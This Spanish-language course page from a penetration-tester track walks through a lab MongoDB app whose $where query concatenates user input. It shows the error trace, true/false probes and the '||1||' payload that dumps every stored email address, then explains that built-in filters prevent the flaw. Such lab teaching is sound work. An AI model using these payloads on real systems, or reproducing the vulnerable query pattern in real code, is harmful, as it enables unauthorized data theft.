XUT_ / COURSES / PENETRATION TESTER

Syntax Injection - Identification and Data Extraction

Encontrar Inyección de Sintaxis

Ahora que hemos cubierto la inyección de operadores, echaremos un vistazo al ejemplo de inyección de sintaxis. Una aplicación python te permite recibir la dirección de correo electrónico de cualquier usuario que se de. Para usar la aplicación autentifícate vía SSH usando ssh syntax@IP y las credenciales:

  • Username: syntax
  • Password: syntax

Una vez autentificado, puedes dar el nombre de usuario como input. Empezaremos poniendo admin:

bash
ssh syntax@10.66.162.204
syntax@10.66.162.204's password: 
Please provide the username to receive their email:admin
admin@nosql.int
Connection to 10.66.162.204 closed.

Podemos empezar a comprobar en busca de inyección de sintaxis simplemente añadiendo ', lo que puede resultar en la respuesta de error de abajo:

shell
syntax@10.66.162.204's password: 
Please provide the username to receive their email:admin'
Traceback (most recent call last):
  File "/home/syntax/script.py", line 17, in <module>
    for x in mycol.find({"$where": "this.username == '" + username + "'"}):
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1248, in next
    if len(self.__data) or self._refresh():
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1165, in _refresh
    self.__send_message(q)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1053, in __send_message
    operation, self._unpack_response, address=self.__address
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1272, in _run_operation
    retryable=isinstance(operation, message._Query),
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1371, in _retryable_read
    return func(session, server, sock_info, read_pref)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1264, in _cmd
    sock_info, operation, read_preference, self._event_listeners, unpack_res
  File "/usr/local/lib/python3.6/dist-packages/pymongo/server.py", line 134, in run_operation
    _check_command_response(first, sock_info.max_wire_version)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/helpers.py", line 180, in _check_command_response
    raise OperationFailure(errmsg, code, response, max_wire_version)
pymongo.errors.OperationFailure: Failed to call method, full error: {'ok': 0.0, 'errmsg': 'Failed to call method', 'code': 1, 'codeName': 'InternalError'}
Connection to 10.66.162.204 closed.

La siguiente linea en el mensaje de error muestra que hay inyección de comandos:

for x in mycol.find({"$where": "this.username == '" + username + "'"}):

Podemos ver que la variable del nombre de usuario está directamente concatenada a la query string y que una función JavaScript se está ejecutando en el comando de búsqueda, permitiéndonos inyectar en la sintaxis. En este caso, tenemos mensajes de verbose de error para darnos indicaciones de que la inyección es posible. Sin embargo, incluso sin mensajes de verbose de error, podemos comprobar la inyección de sintaxis dando una condición true y una false y viendo cómo difiere el output como podemos ver a continuación:

bash
ssh syntax@10.66.162.204
syntax@10.66.162.204's password: 
Please provide the username to receive their email:admin' && 0 && 'x
Connection to 10.66.162.204 closed.

ssh syntax@10.66.162.204
syntax@10.66.162.204's password: 
Please provide the username to receive their email:admin' && 1 && 'x
admin@nosql.int
Connection to 10.66.162.204 closed.

Explotando la Inyección de Sintaxis

Ahora que hemos confirmado la inyección de sintaxis, podemos usar este punto de inyección para obtener las direcciones de correo. Para hacerlo, queremos asegurarnos de que el statement de testing de la condición siempre de true. Al inyectar en el JavaScript, podemos usar el payload '||1||'. Usémoslo:

bash
ssh syntax@10.66.162.204
syntax@10.66.162.204's password: 
Please provide the username to receive their email:admin'||1||'
admin@nosql.int
pcollins@nosql.int
jsmith@nosql.int
[...]
Connection to 10.66.162.204 closed.

La Excepción a la Regla

Es importante apuntar que para que ocurra la inyección de sintaxis, el desarrollador tiene que crear queries JavaScript personalizadas. La misma función podría ser realizada usando las funciones de filtrado preinstaladas donde ['username' : username] devolvería el mismo resultado pero no sería vulnerable a la inyección. Como tal es rara de encontrar, ya que significaría que los desarrolladores no están usando las funciones y filtros incrustados. El ejemplo de arriba es exclusivo de MongoDB. Para otras soluciones NoSQL puede existir pero la sintaxis cambiar á.